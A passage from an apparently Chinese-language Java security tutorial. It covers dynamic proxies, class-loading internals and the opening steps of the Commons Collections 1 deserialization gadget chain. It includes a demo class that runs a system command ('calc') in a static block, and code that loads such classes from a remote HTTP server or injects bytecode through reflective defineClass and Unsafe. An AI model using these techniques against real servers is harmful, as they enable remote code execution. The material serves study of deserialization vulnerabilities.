}可以把 UserProxy 代理对象当成原user对象来用(就像找中介签合同、交房租,和直接找房东对你来说一样)。
在代理类的 show() 方法里,除了调用原对象的 show() 核心方法,还能加额外逻辑,比如打印日志记录 “show 方法被调用了”。

静态代理的三个明显缺点
- 代码量大:如果接口有十几个、几十个方法,实现类和代理类都要对应重写,非常繁琐;
- 维护成本高:一旦接口新增、修改方法,实现类和代理类都得跟着改;
- 代码冗余:如果是通用增强逻辑(比如所有方法都加日志),每个方法里都要重复写一遍。

静态代理的痛点,催生了 JDK 动态代理:
- 改进思路:结合反射,写一套通用逻辑 —— 不管外部调用接口里的哪个方法,都能自动捕获并执行增强逻辑(如打印日志);
- 核心痛点:自己写 Java 代码无法自动捕获 “外部调用了哪个方法”,所以需要 JDK 提供的动态代理技术;
- 动态代理的作用:解决静态代理痛点,实现通用、无侵入的方法增强,不用再为每个方法写重复的代理逻辑。
动态代理调试
那JDK动态代理要怎么实现?核心就是JDK提供的Proxy类,里面有一个静态方法叫newProxyInstance(),这个方法是用来新建一个动态代理实例的。这个方法需要传入三个参数

1.类加载器(ClassLoader):加载 JVM 在运行时动态生成的代理类(因为源码里没有这个代理类,需要动态加载进内存);
2.接口数组(Class<?>[] interfaces):告诉 JVM 代理类需要实现哪些接口(动态代理基于接口,保证代理对象能替代原对象使用);
3.调用处理器(InvocationHandler):写通用增强逻辑的地方 —— 代理对象的任意方法被调用时,都会自动进到这个处理器的invoke()方法里执行。

这正好就对应了newProxyInstance()方法的三个参数:
1. 第一个参数:ClassLoader loader,类加载器,这个不用太纠结,大部分场景下,用目标类的类加载器就可以,写法是固定的;
2. 第二个参数:Class<?>[] interfaces,要代理的接口数组,动态代理可以同时代理多个接口,实际场景里一般代理一个就够了;
3. 第三个参数:InvocationHandler h,这个是最核心的,翻译过来叫“调用处理器”。我们学反射的时候知道,invoke是调用的意思,handler是处理器,它的作用就是:我们把代理要执行的增强逻辑,全部写到这个接口的实现类里。
知道了这三个参数,我们就来写代码实现。
前两个参数是固定写法,直接用目标 user 对象获取:
- 类加载器:user.getClass().getClassLoader()
- 接口数组:user.getClass().getInterfaces()
这都是系统提供的固定方法。
最关键的是第三个参数 InvocationHandler,得自己写实现类:
1.新建类(比如 UserInvocationHandler),必须实现**InvocationHandler**接口;
2.实现后代码会标红,因为必须重写接口里唯一的**invoke()**方法

java/lang/reflect/InvocationHandler.java

这个invoke()方法是干嘛的?invoke() 是解决静态代理痛点的核心:
- 不管外部调用代理对象的哪个方法,都会先进入这个invoke(),JVM 自动把调用的 Method 对象、方法入参传过来;
- 我们可以在这里通过反射调用原对象的目标方法,同时实现通用增强逻辑。
我们看invoke()方法的三个入参:
1.proxy:生成的动态代理对象本身,一般很少用;
2.method:外部调用的方法对应的 Method 对象,最核心;
3.args:外部调用方法时传入的实际参数数组。
有了 method 和 args,直接用 method.invoke(target, args) 反射调用原对象方法,和之前学的反射写法一样。
原目标对象 target 的来源:给 UserInvocationHandler 写个有参构造函数,创建处理器实例时把原对象传进来,赋值给类的成员变量即可。

到这里,我们的调用处理器就写好了。接下来,创建调用处理器实例,传入要代理的原 user 对象:
调用Proxy.newProxyInstance(),传入三个参数,将返回的 Object 强转为IUser接口类型,得到动态代理对象userProxy

直接调用userProxy.show(),效果和调用原对象方法一样,原对象的show()方法会被成功调用

哪怕给 IUser 接口新增一个 update() 方法,代理代码也完全不用改,直接调用 userProxy.update() 就能正常执行 —— 这就是动态代理的强大之处。

对比静态代理:静态代理每个方法都要手动重写、手动加增强逻辑;但动态代理只需要写一次 invoke() 里的通用逻辑,不管接口有多少个方法都能自动生效,代码量大大减少,维护成本也变得极低。
当然,我们也能像静态代理一样给方法加增强逻辑。比如在 invoke() 里反射调用原方法前,打印 “【日志】正在调用方法:” 加上 method.getName() 获取方法名 —— 这样就实现了和静态代理一样的功能,而且是通用的,所有方法都会生效。

这里再补充几个细节:
- 第二个参数接口数组,除了用getInterfaces()自动获取,也可以手动指定,比如new Class[]{IUser.class},效果完全一样


-InvocationHandler可以单独写实现类,也可以用匿名内部类直接在newProxyInstance()里写,看个人习惯
- 还可以把生成代理对象的方法封装在InvocationHandler实现类里,比如定义getProxy()方法,用起来更方便
以上就是JDK动态代理的完整实现和核心逻辑,接下来我们回到正题:它在Java反序列化漏洞里,到底有什么用?能给我们的利用带来什么好处?
反序列化利用链的理想情况是:入口类 A 的 readObject() 调用的方法,正好是目标类 B 的危险方法 f(),把 B 当成员对象传进去就能触发。但现实中 A 可能调用的是 equals()、toString() 等,和目标方法对不上,链就断了。
这时动态代理就派上用场:把 A 的成员对象 o 换成动态代理对象。这样不管 A 调用 o 的什么方法,都会先进入代理对象的 InvocationHandler 的 invoke() 方法。
我们可以在 invoke() 里直接调用目标类 B 的 f() 方法(把 B 传给 InvocationHandler)。这样哪怕入口类调用的方法和目标方法完全不匹配,也能通过动态代理 “胶水” 一样拼接利用链,大大降低构造门槛。
动态代理在反序列化利用里的两个核心特点:
- 隐式自动执行:invoke() 和 readObject() 类似,都是自动触发 ——readObject() 在反序列化时自动执行,invoke() 在代理对象的任何方法被调用时自动执行。这种隐式调用在漏洞利用中价值极高,因为显式同名调用往往难找,而开发人员可能忽略的隐式调用常能带来意外利用可能。
- 灵活拼接调用链:不管入口类前半段调用的是什么方法,最终都能通过 invoke() 走到后半段指定的恶意逻辑里;哪怕只找到半条链,也能通过动态代理补全,大大提升利用灵活性。
补充:不用钻得太深,它主要应用在 Commons Collections 第一条利用链和 JDK 7u21 利用链;哪怕不清楚完整原理,也不影响调试利用链代码,理解核心特点和作用即可。
5-类的动态加载(重点)
类加载介绍
类加载其实是一个非常大的话题,我们主要还是关注和漏洞利用相关的核心内容。

Java 类的生命周期主要分为 加载、连接、初始化,之后是使用和卸载。初始化和使用阶段都会执行代码 —— 这是漏洞利用的核心:只要有代码执行的地方,就可能成为攻击入口。
反序列化的安全问题本质是反序列化时自动执行 readObject() 里的代码,这是一个攻击入口点;而类加载过程中每一个能执行代码的地方,都能扩大攻击面。
代码调试
我们先通过代码直观感受一下,我改写了之前的 Person 类;Java 里除了构造方法,还有构造代码块和静态代码块。
public class Person implements Serializable {
public String name;
private int age;
public static int id;
// 静态方法
public static void staticAction() {
System.out.println("静态方法");
}
//静态代码块:类加载时执行,仅执行一次
static {System.out.println("静态代码块");}
// 构造代码块
{System.out.println("构造代码块");}
// 无参构造方法
public Person() {System.out.println("无参Person");}
// 有参构造方法
public Person(String name, int age) {
System.out.println("有参Person");
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void run(String r){
System.out.println(r);
}
}构造代码块是什么意思?
- 构造代码块:不管调用类的哪个构造方法,都会先执行构造代码块里的内容
- 静态代码块:和类本身绑定,只要类完成初始化,就会执行静态代码块里的内容,不管调用的是哪个静态方法
我们挨个演示一下:

比如 new 一个 Person 对象,不管调用无参还是有参构造方法
执行顺序都是:静态代码块 → 构造代码块 → 构造方法。

我们刚才说了类的生命周期
- 使用阶段(对象创建):调用构造代码块和构造方法
- 初始化阶段:调用静态代码块
比如不 new 对象,只调用 Person 类的静态方法,构造代码块和构造方法都不会触发,只会执行静态代码块。

再试另一种情况,我们给Person类里的静态成员变量赋值,执行之后会发现,同样也触发了静态代码块。

这就得出一个核心结论:Java 在类初始化时执行静态代码块;构造代码块、构造方法必须在对象实例化时才会调用。
更直观的一个测试:我们直接写Class c = Person.class;,直接通过class关键字获取类的Class对象。

用 class 关键字只会触发类的加载,不会触发类的初始化,因此静态代码块不会执行,控制台没有任何打印。这里要注意:class 是 Java 的内置关键字,不是静态变量,不要和静态成员的触发逻辑混淆。
我们已经明确,直接用 class 关键字加载类不会触发初始化、也不会执行代码。接下来我们看 Java 里另一个典型的动态类加载方法,也就是反射里常用的Class.forName(),我们来测试Class.forName("Person")的效果。

执行 Class.forName("Person") 后会发现静态代码块被触发,说明这个方法默认会完成类的初始化操作。
跟进去看 Class.forName() 的源码,会发现它底层调用了一个 forName0() 方法。

forName0() 是 native 方法(由 C/C++ 编写的底层方法,脱离 Java 代码范畴)。它的参数里,除了类名,还有 initialized 参数(控制是否初始化类)、ClassLoader 类加载器,第四个参数无需关注。
实际上 Class.forName() 有两个重载方法,我们刚才用的是单参数的简化版。

还有一个三参数的完整版
Class.forName() 可手动控制是否初始化类:单参数版默认把 initialized 参数传 true,也就是默认会初始化。
我们试试手动关闭初始化:改用三参数的 Class.forName(),第一个参数填类名 Person,第二个参数传 false(表示不初始化),第三个参数传类加载器。ClassLoader 是抽象类不能直接实例化,但它提供了静态方法 getSystemClassLoader() 可获取;
按住 Ctrl 点击 ClassLoader 就能查看它的源码。


可以获取当前系统的应用程序类加载器
public class LoadclassTest {
public static void main(String[] args) throws Exception{
ClassLoader loader = ClassLoader.getSystemClassLoader();
Class.forName("org.example.Person",false,loader);
}
}
执行三参数的 Class.forName()(initialized=false)后,静态代码块不会触发 —— 因为仅完成类的加载,未执行初始化,自然不会执行静态代码块内容。
不过这种方式加载的类后续仍可正常实例化:调用 newInstance() 时会完成初始化,触发静态代码块、构造代码块和构造方法。

这就是 Class.forName() 的两种用法 —— 它可以选择加载类时是否完成初始化。我们之前也提到,Class.forName() 底层其实还是通过 ClassLoader 完成类加载;而 ClassLoader 是 Java 类加载最底层的核心抽象类,接下来我们就深入研究它。
我们刚才已经获取到了当前系统的类加载器,把它打印出来
ClassLoader loader = ClassLoader.getSystemClassLoader();
System.out.println(loader);
会看到它是Launcher类里的一个内部类,叫做AppClassLoader。

如果对 JVM 稍有了解,就知道 ClassLoader 是 Java 双亲委派模型 的核心;我们只讲和漏洞利用相关的部分,不深入展开(毕竟 JVM 课程会详细讲双亲委派)。
Java 类加载器从顶层到底层主要分三层:
- 最顶层:Bootstrap ClassLoader(启动类加载器)(也叫系统类加载器):C++ 实现,不属于 Java 对象,负责加载 java.lang 包下 String、Object 等 Java 核心基础类;
- 第二层:Extension ClassLoader(扩展类加载器 / ExtClassLoader):负责加载 JRE 扩展包中的类;
- 第三层:Application ClassLoader(应用程序类加载器 / AppClassLoader):最常用,我们自己写的类、项目引入的第三方依赖,基本都由它加载。
我们可以试试用 AppClassLoader 加载类,基础写法是调用 .loadClass("Person") 拿到 Class 对象,之后调用 newInstance() 就能正常实例化对象,这就是类加载器的基础用法。
ClassLoader loader = ClassLoader.getSystemClassLoader();
Class<?> c = loader.loadClass("org.example.Person");
c.newInstance();
1.代码通过 Application ClassLoader 发起请求;
类 “由谁加载” 取决于类的位置和双亲委派机制;
自己写的Person类,实际是由 Application ClassLoader 加载
2.当调用 loadClass() 时,Application ClassLoader 不会立即自己尝试加载,
先委托给父类加载器(Extension ClassLoader),
父类再委托给更上层的 Bootstrap ClassLoader(启动类加载器)。
如果父类加载器能找到并加载该类,就直接返回;
只有父类加载器加载失败时,才会由发起请求的 Application ClassLoader 自己加载。
//3.Bootstrap和Extension ClassLoader(只负责加载 JDK 核心类和扩展类)
这里大家肯定会有疑问:调用 loadClass() 方法时,会不会触发类的初始化?
我们把实例化的代码注释掉,只保留 loadClass("Person") 这行代码执行,结果会发现

执行仅调用 loadClass() 的代码后,静态代码块并未触发 —— 这说明 ClassLoader 的 loadClass () 方法默认只完成类的加载,不会执行初始化。
其实核心是 parent 父类加载器的单向委派逻辑,没有 “双” 的含义;而且这里的 “父子关系” 不是类的继承关系,只是逻辑上的层级指向关系,我们可以通过调试跟进查看它的底层实现。

我们调试跟进 loadClass() 方法时,第一步会进入 ClassLoader 抽象类中单参数的**loadClass()**方法。
java/lang/ClassLoader.java

由于 AppClassLoader 并未重写 ClassLoader 抽象类里单参数的 loadClass() 方法,仅重写了它的双参数重载版本
sun/misc/Launcher.java

会先执行父类 ClassLoader 里的单参数 loadClass(),它内部还是调用双参数 loadClass(),这时就会走到 AppClassLoader 的双参数实现。里面先做安全检查,接着调用 super.loadClass(),也就是父类的双参数 loadClass()。
java/lang/ClassLoader.java

再次回到 ClassLoader 抽象类的双参数 loadClass() 实现中,这就是双亲委派的核心流程。
我们来看核心代码逻辑:
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);
// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}首先会调用findLoadedClass(),

检查这个类是不是已经被加载过了,如果已经加载过,就直接返回,不会重复加载。
之后会判断当前类加载器的parent父加载器是否不为空,

如果不为空,就会调用父加载器的loadClass()方法,把加载请求委派给父加载器去处理。

我们这里 AppClassLoader 的父加载器是 ExtClassLoader,因此类加载请求会先委派给 ExtClassLoader 处理;
而 ExtClassLoader 的 loadClass() 方法也会遵循同样的双亲委派逻辑,继续把加载请求委派给它的父加载器(Bootstrap ClassLoader)。

当父加载器为 null 时,就代表到了最顶层的 Bootstrap ClassLoader(因它是 C++ 实现,Java 层面无对应对象,故用 null 标识),此时会尝试用它加载类。
这就是双亲委派的核心逻辑:类加载请求先向上委派给父加载器处理,只有父加载器加载失败时,才向下回退,由当前加载器自行尝试加载。这能防止 Java 核心类被恶意篡改(比如自定义 java.lang.String 不会被加载,因为启动类加载器已加载官方版本)。
继续看 Person 类的加载流程:Bootstrap ClassLoader 加载不了自定义的 Person 类,加载失败后回退到 ExtClassLoader,ExtClassLoader 也加载不了,再回退到 AppClassLoader;此时 AppClassLoader 会调用 findClass() 方法,到自身的加载路径中查找并加载 Person 类。

这里要注意:ClassLoader 抽象类中的 findClass() 是空实现
java/lang/ClassLoader.java

此时调用的 findClass() 会执行哪里的逻辑?调试跟进后会发现,最终会走到 URLClassLoader 类的 findClass() 方法中。

大家可能会疑惑 URLClassLoader 为何突然出现,其实原因很简单:AppClassLoader 和 ExtClassLoader 的直接父类都是 URLClassLoader,且这两个类自身都没有重写 findClass() 方法,因此最终会调用父类 URLClassLoader 的 findClass() 实现。

跟进 URLClassLoader 的 findClass() 方法能看到:它会先获取类的资源路径(比如 Person.class 字节码文件的路径),再通过 ucp(URLClassPath 对象)在当前类加载器的加载路径中查找对应的字节码资源。

而三个类加载器能加载不同路径的类,核心原因是它们的加载路径不同:
- Bootstrap ClassLoader:加载 JDK 核心库路径下的类;
- ExtClassLoader:加载 JRE 扩展库路径下的类;
- AppClassLoader:加载当前项目 classpath 路径下的类。
找到对应的字节码资源后,最终会调用 defineClass() 方法 —— 类的加载流程,就是在这个方法里最终完成的。

我们继续调试跟进会发现:URLClassLoader 还重写了 defineClass() 方法,而非直接使用 ClassLoader 抽象类的默认实现。
// java/net/URLClassLoader.java
private Class<?> defineClass(String name, Resource res) throws IOException {
long t0 = System.nanoTime();
int i = name.lastIndexOf('.');
URL url = res.getCodeSourceURL();
if (i != -1) {
String pkgname = name.substring(0, i);
// Check if package already loaded.
Manifest man = res.getManifest();
definePackageInternal(pkgname, man, url);
}
// Now read the class bytes and define the class
java.nio.ByteBuffer bb = res.getByteBuffer();
if (bb != null) {
// Use (direct) ByteBuffer:
CodeSigner[] signers = res.getCodeSigners();
CodeSource cs = new CodeSource(url, signers);
sun.misc.PerfCounter.getReadClassBytesTime().addElapsedTimeFrom(t0);
return defineClass(name, bb, cs);
} else {
byte[] b = res.getBytes();
// must read certificates AFTER reading bytes.
CodeSigner[] signers = res.getCodeSigners();
CodeSource cs = new CodeSource(url, signers);
sun.misc.PerfCounter.getReadClassBytesTime().addElapsedTimeFrom(t0);
return defineClass(name, b, 0, b.length, cs);
}
}URLClassLoader 重写的 defineClass() 仅做简单安全校验,随后调用父类 SecureClassLoader 的 defineClass();

SecureClassLoader 的实现也很简洁,仅补充保护域相关参数,最终调用最顶层 ClassLoader 抽象类的 defineClass() 重载方法;
java/security/SecureClassLoader.java

进入这个最终的重载方法
java/lang/ClassLoader.java

核心参数包括:类名、字节码 byte 数组、字节码起始偏移量 / 长度,以及无需关注的保护域对象;
该方法最终调用 native 方法 defineClass1()
java/lang/ClassLoader.java

这是类加载的最底层实现:只需传入类名和类的字节码数组,就能从字节码中解析、加载出对应的 Class 对象,完整走完类加载的全流程。


我们已梳理完类加载的完整流程:
- 继承关系:ClassLoader(抽象父类)→ SecureClassLoader → URLClassLoader → AppClassLoader/ExtClassLoader;
- 调用链路:loadClass () → 双亲委派逻辑 → findClass ()(子类重写) → defineClass ()(从字节码加载类,最终调用 native 方法完成加载)。
从这个流程能提炼出漏洞利用的关键:底层的 defineClass () 可直接从字节码加载类;上层的 URLClassLoader 更实用,支持传入 URL 地址加载本地 / 远程路径的类,这一特性在漏洞利用中很常用,接下来我们实际演示。
我们把之前的代码都注掉,尝试用URLClassLoader来加载一个任意的类。

首先要创建 URLClassLoader 实例,它的构造方法需要传入一个 URL 对象数组,数组里填的是加载类的基地址—— 这个地址既可以是本地路径,也可以是远程网络地址。
第一步:
先试本地路径:创建 URL 对象时指定 file 协议和本地路径,务必注意路径末尾要加斜杠—— 否则会把路径识别成 jar 包而非目录,这是很容易踩坑的细节。

第二步:

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\Tmp\\")});
Class<?> hello = urlClassLoader.loadClass("Hello");
hello.newInstance();用该 URL 创建 URLClassLoader 实例,调用loadClass()加载 Hello 类;因loadClass()不触发初始化,需通过newInstance()实例化,才会执行静态代码块的打印逻辑,控制台输出 hello 即验证加载成功。
升级代码测试
升级测试:新建 Test 类,在其静态代码块中编写执行系统命令(如弹出计算器)的逻辑,编译为 Test.class 后放入指定路径。
import java.io.IOException;
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
//终端运行 javac .\Test.java

此时项目代码中并无 Test 类,但通过 URLClassLoader 从本地路径加载这个外部 Test 类后,计算器成功弹出 —— 证明已实现外部任意类的加载,并执行了其中的恶意代码。
除 file 本地协议外,URLClassLoader 更关键的特性是支持 http 网络协议:在本地启动 HTTP 服务,将编译好的 class 字节码文件放到服务根目录,把 URL 地址改为该 HTTP 服务地址后执行加载,计算器仍会弹出,且 HTTP 服务能接收到程序对 class 文件的请求。

这意味着只要能控制 URLClassLoader 的加载地址,就能让目标服务器从我们的远程服务器加载任意恶意类、执行任意代码;这种方式远比单纯的反射调用灵活,还能便捷实现漏洞回显。
补充一点:URLClassLoader 还支持 jar 协议,可直接加载 jar 包中的类,用法和前面的方式类似 —— 将 class 文件打包成 jar 包,放到本地或远程服务上,通过 jar 协议地址就能加载包内的类,同样能实现任意类加载。



讲完 URLClassLoader 后,我们回到最底层的 defineClass() 方法

是 ClassLoader 类中被 protected 修饰的方法,无法直接调用,必须通过反射获取并执行。


// 1. 获取系统类加载器(Application ClassLoader)实例
ClassLoader loader = ClassLoader.getSystemClassLoader();
// 2. 通过反射获取 ClassLoader 类中的 defineClass 方法对象
Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, // 参数1:类的全限定名
byte[].class, // 参数2:class文件的字节码数组
int.class, // 参数3:字节数组读取的起始偏移量(通常是0)
int.class // 参数4:字节数组读取的长度(通常是数组总长度)
);
defineClassMethod.setAccessible(true);
// 4. 读取本地恶意类 Test.class 的字节码到内存
byte[] bytes = Files.readAllBytes(Paths.get("E:\\Tmp\\Test.class"));
//Application ClassLoader.defineClass()
Class invoke = (Class) defineClassMethod.invoke(loader, "Test", bytes, 0, bytes.length);
// 5. 实例化恶意类,触发静态代码块/构造方法,执行恶意代码(如弹出计算器)
invoke.newInstance();反射调用 defineClass() 执行成功。
这种方式的优势是:无需目标服务器联网发起请求,直接传入构造好的恶意字节码数组就能完成类加载,通用性更强;但缺点是 defineClass() 是 protected 方法,必须通过反射调用,实际漏洞利用中需找到能触发该反射调用的利用链。
Unsafe 类
很多经典漏洞利用链,本质都是借助 defineClass() 动态加载字节码的特性,加载恶意类完成攻击。
最后简单提一种类加载方法:借助 Unsafe 类实现。
sun/misc/Unsafe.java

Unsafe 是 Java 中极底层的类,名字带 Unsafe 正是因为它提供了直接操作内存、线程调度等底层方法,虽有安全风险,但在框架开发中十分常用。
Unsafe 类也有 defineClass() 方法,且是 public 修饰的,看似可直接调用,实则不行:Unsafe 采用单例模式,通过 getUnsafe() 静态方法获取实例,但该方法有严格安全校验 ——仅被启动类加载器加载的类能调用,我们自定义的类直接调用会抛出异常

那该如何获取 Unsafe 实例?还是得靠反射:Unsafe 类中有一个私有静态成员变量 theUnsafe,存储着单例的 Unsafe 对象;我们通过反射获取这个 Field,开启其访问权限,就能拿到 Unsafe 实例。

ClassLoader loader = ClassLoader.getSystemClassLoader();
Class c = Unsafe.class;
Field field = c.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\Tmp\\Test.class"));
Class<?> unsafeClass = unsafe.defineClass("Test", bytes, 0, bytes.length, loader, null);
unsafeClass.newInstance();
拿到 Unsafe 实例后,调用其 defineClass() 方法(传入类名、字节码数组、起始偏移量、长度、类加载器、保护域),就能完成类加载;执行后可成功加载 Test 类,实例化后计算器正常弹出。
和 ClassLoader 的 defineClass() 相比,Unsafe 的该方法本身是 public 修饰的,仅获取 Unsafe 实例需借助反射,在部分特定场景下更具优势。额外提一句:Spring 框架提供了获取 Unsafe 实例的 public 方法,因此在 Spring 相关漏洞利用中,使用 Unsafe 会更便捷。
总结:

这篇核心讲解了 Java 中动态加载类的方法,这些内容是反序列化漏洞利用的关键;而前面梳理的类加载流程,不只是安全领域的基础,更是整个 Java 开发的核心知识点。
我们此前讲过的同名函数调用、反射、动态代理,结合今天的字节码动态加载,掌握的可利用环节越多,能构造的漏洞利用链就越丰富;此外像 EL 表达式注入等攻击手法,通用性远不及字节码动态加载 —— 它是 Java 安全领域中核心且实用的攻击方法。
总结
- Java 动态加载类的方法是反序列化漏洞利用的核心知识点;
- 类加载流程是 Java 开发与安全领域的共同基础;
- 字节码动态加载是 Java 安全中通用性最强、最实用的攻击方法。
Commons Collections 1(CC1)
CC1介绍
这个漏洞是 Java 反序列化领域的经典漏洞:2015 年有安全研究者发布分析文章,测试发现市面上大量常见 Java 框架均存在该反序列化问题,最终可导致远程代码执行。该漏洞当年横空出世,影响延续至今 —— 像 WebSphere、WebLogic 这类目前仍广泛使用的商业中间件,当年都受其波及。
先说明 Commons Collections 的本质:它是 Apache 开源的 Java 工具库,核心是对 Java 原生集合类(Map、List、Set、Queue 等)做增强扩展;而原生集合类有个对反序列化漏洞利用至关重要的特点:元素支持接收任意 Object 类型对象,因此可作为数据传递载体、恶意对象的包裹,帮助我们在漏洞利用中完成调用链的传递与转换。
这里先简单回顾反序列化漏洞的核心原理,拆解后核心就两点:
1.服务端的反序列化入口会接收我们传入的任意对象;
2.反序列化过程中会自动执行代码,最终实现任意方法调用(即远程代码执行)。
Java 对象反序列化时,必会自动调用类重写的readObject()方法,这是反序列化代码执行的核心入口。但readObject()里的方法调用逻辑固定,要实现 “任意方法调用”,关键是控制方法中被调用的对象。
拆解流程:比如入口类 A 的readObject()固定调用o.aaa()(JDK 类逻辑固定),我们把o替换成恶意对象,此时readObject()就会调用恶意对象的aaa();恶意对象的aaa()再层层调用其他对象的方法,最终指向能执行系统命令的核心方法Runtime.getRuntime().exec()—— 这就是我们构造调用链的最终目标。
那想要构造出这条完整的调用链,有两种核心思路:
1.同名方法接力:如同 URLDNS 链的用法,借助不同类中重写的同名方法,完成调用链的传递;
2.任意方法调用:确实存在这类实现方式 —— 就是我们学过的反射和动态加载字节码。只要能拿到完全可控的反射调用(对象、方法名、参数均可控),就能实现任意方法调用。
这就是 Java 反序列化漏洞利用的核心流程。明确这个流程后,找可利用类的首要前提很清晰:利用链中的每一个类,都必须实现 Serializable 接口、支持序列化。
我们拆分利用链中不同环节类的要求,核心先看入口类,需满足三个条件:
- 可序列化且重写了readObject()方法;
- 类的成员变量能接收任意 Object 类型对象,且我们可完全控制该对象(典型如 Map 等集合类,天然支持任意 key/value,可控范围大);
- readObject()方法中会调用这个可控对象的某个方法。
找利用链的核心思路是从后往前逆向查找:先锁定最终要执行的危险方法(如exec()),再逐层往上找调用该方法的类 / 方法,直到找到重写readObject()的入口类,串起整条链。
而 Commons Collections 是对集合类的增强,集合类天然能接收任意对象,因此只需在其中找能完成方法调用接力的逻辑,就能构造出利用链 —— 这也是挖掘该漏洞的核心思路。
项目搭建:
在pom.xml文件中写入
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
下载源码:网址
源码调试时有个关键问题:java.lang包下的类(如 String、Object)自带完整源码和注释(JDK 默认提供),但sun包下的类(比如要用到的 AnnotationInvocationHandler)在 rt.jar 里只有反编译后的 class 文件,变量名都是 y1、y3 这类乱码,既难阅读也没法正常断点调试。
解决方法是手动添加对应 JDK 版本的 sun 包源码:从 OpenJDK 仓库下载 8u65 版本对应 commit 哈希的 zip 包,解压后找到share/classes目录下的 sun 文件夹,拷贝出来即可。
jdk的:
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

压缩包解压在src\share\classes包下复制粘贴sun包

原jdk解压src包,把sun包复制进去

导入到IDE中

maven,通过idea软件下载源码
Maven下载的Commons Collections依赖包,默认也可能只有class文件。


成功之后应该是:

关闭代码补全
一定要手敲,一定要手敲,一定要手敲(如果想深入理解,学习完之后,能做到不借助任何AI工具和文章视频,手敲加调试完整写出来,就算成功)
设置里面

使用软件内置的提示

调试+理解代码
在代码上写上,一定不要导错包,然后ctrl+左键进入该接口
new Transformer

public interface Transformer {
public Object transform(Object input);
}我们重点关注 Transformer 接口:
它的作用类似装饰器或代理,能接收对象并对其进行转换;transform() 是该接口的核心方法,所有实现类都必须实现这个方法 —— 这个原本为实现灵活的对象转换而设计的接口,接下来我们分析它为何会被攻击者利用,成为构造漏洞利用链的关键。
查看实现类
选中然后查找用法


可以看到有13个类实现了Transformer接口
我们这边重点关注:
InvokerTransformer.java,ChainedTransformer.java,ConstantTransformer.java
1.ConstantTransformer.java
如图:

接收一个对象,返回一个常量,忽略了传入的 input 参数,直接返回构造时保存的 iConstant 对象
总结在后文的作用是:我不管前面传过来什么垃圾,我都把它变成 Runtime.class
2.ChainedTransformer.java

把多个独立的Transformer转换器按顺序串联成一条执行链,前一个转换器的输出,作为下一个转换器的输入,最终完成一套复杂的、流水线式的对象转换逻辑
3.InvokerTransformer.java

这里很像后门的写法,可以调用任何对象的任何公共方法,可以通过反射可以绕过常规的访问控制
我们先看正常反射调用的写法
Class<Runtime> c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Object Runtimeinvoke = getRuntimeMethod.invoke(null);
Method getMethodexec = c.getMethod("exec", String.class);
getMethodexec.invoke(Runtimeinvoke,"calc");
我们把它改成InvokerTransformer的写法,试一下。先看InvokerTransformer的构造方法,

参数分别是:要调用的方法名、方法的参数类型数组、方法的参数值数组,正好和我们反射调用的参数一一对应。
然后调用它的transform()方法,传入我们的Runtime对象r,执行一下,就能看到计算器成功弹出来了。

InvokerTransformer 本质是封装了反射调用,把原本需要多行编写的反射代码浓缩成一行,以此实现任意方法调用。我们已确定它的transform()方法是利用链的 “危险终点”
接下来要逆向溯源:在 IDEA 中查看transform()的调用链(21 处调用),逐个排查找出调用该方法的类和方法,以此向前串联完整的利用链。

我们的核心目标是:找到非 Transformer 类、不同方法名中调用transform()的逻辑 —— 只有这样,才能把调用链向前接力传递,最终衔接至readObject()方法;如果只是 Transformer 接口的实现类之间互相调用transform(),则无法扩展调用链,没有实际利用价值
4.TransformedMap
我们逐个排查transform()的调用方后,最终定位到 Map 相关实现类(如 TransformedMap、LazyMap)。以 TransformedMap 为例,它的get()方法、checkSetValue()方法都会调用valueTransformer的transform()方法 —— 这正是我们要找的跨类调用逻辑,接下来就从 TransformedMap 入手继续往前构造利用链。

我们先看一下TransformedMap是干嘛的,看它的构造方法,是protected修饰的,也就是说不能直接new,

我们看它在哪里被调用,会发现它有一个静态方法decorate(),就是用来创建TransformedMap实例的。

ransformedMap 的核心逻辑很简单:接收一个原生 Map 对象,以及 keyTransformer、valueTransformer 两个 Transformer 对象,给原生 Map 做一层装饰 —— 当操作 Map 的 key 或 value 时,会自动调用对应 Transformer 的 transform() 方法做转换处理,这和我们之前学的动态代理里的 InvocationHandler 逻辑类似。
它的 decorate() 方法有三个参数:待装饰的原生 Map、处理 key 的 keyTransformer、处理 value 的 valueTransformer。我们最终要触发 checkSetValue() 方法里的 transform() 调用,而该方法只用到了 valueTransformer(keyTransformer 在此处无作用)。

因此我们可以给 keyTransformer 传 null 无需关注,仅将 valueTransformer 设为我们编写的 InvokerTransformer 即可。
这样一来,当 checkSetValue() 方法被调用时,会自动触发我们 InvokerTransformer 里的 transform() 方法(即恶意反射逻辑)。接下来我们要继续找到 checkSetValue() 方法的调用位置。


我们梳理checkSetValue()的调用关系后发现,它仅被一处代码调用 ——TransformedMap 父类中的MapEntry.setValue()方法。
而 MapEntry 就是我们遍历 Map 时拿到的Map.Entry键值对对象(也就是常说的 Entry)。

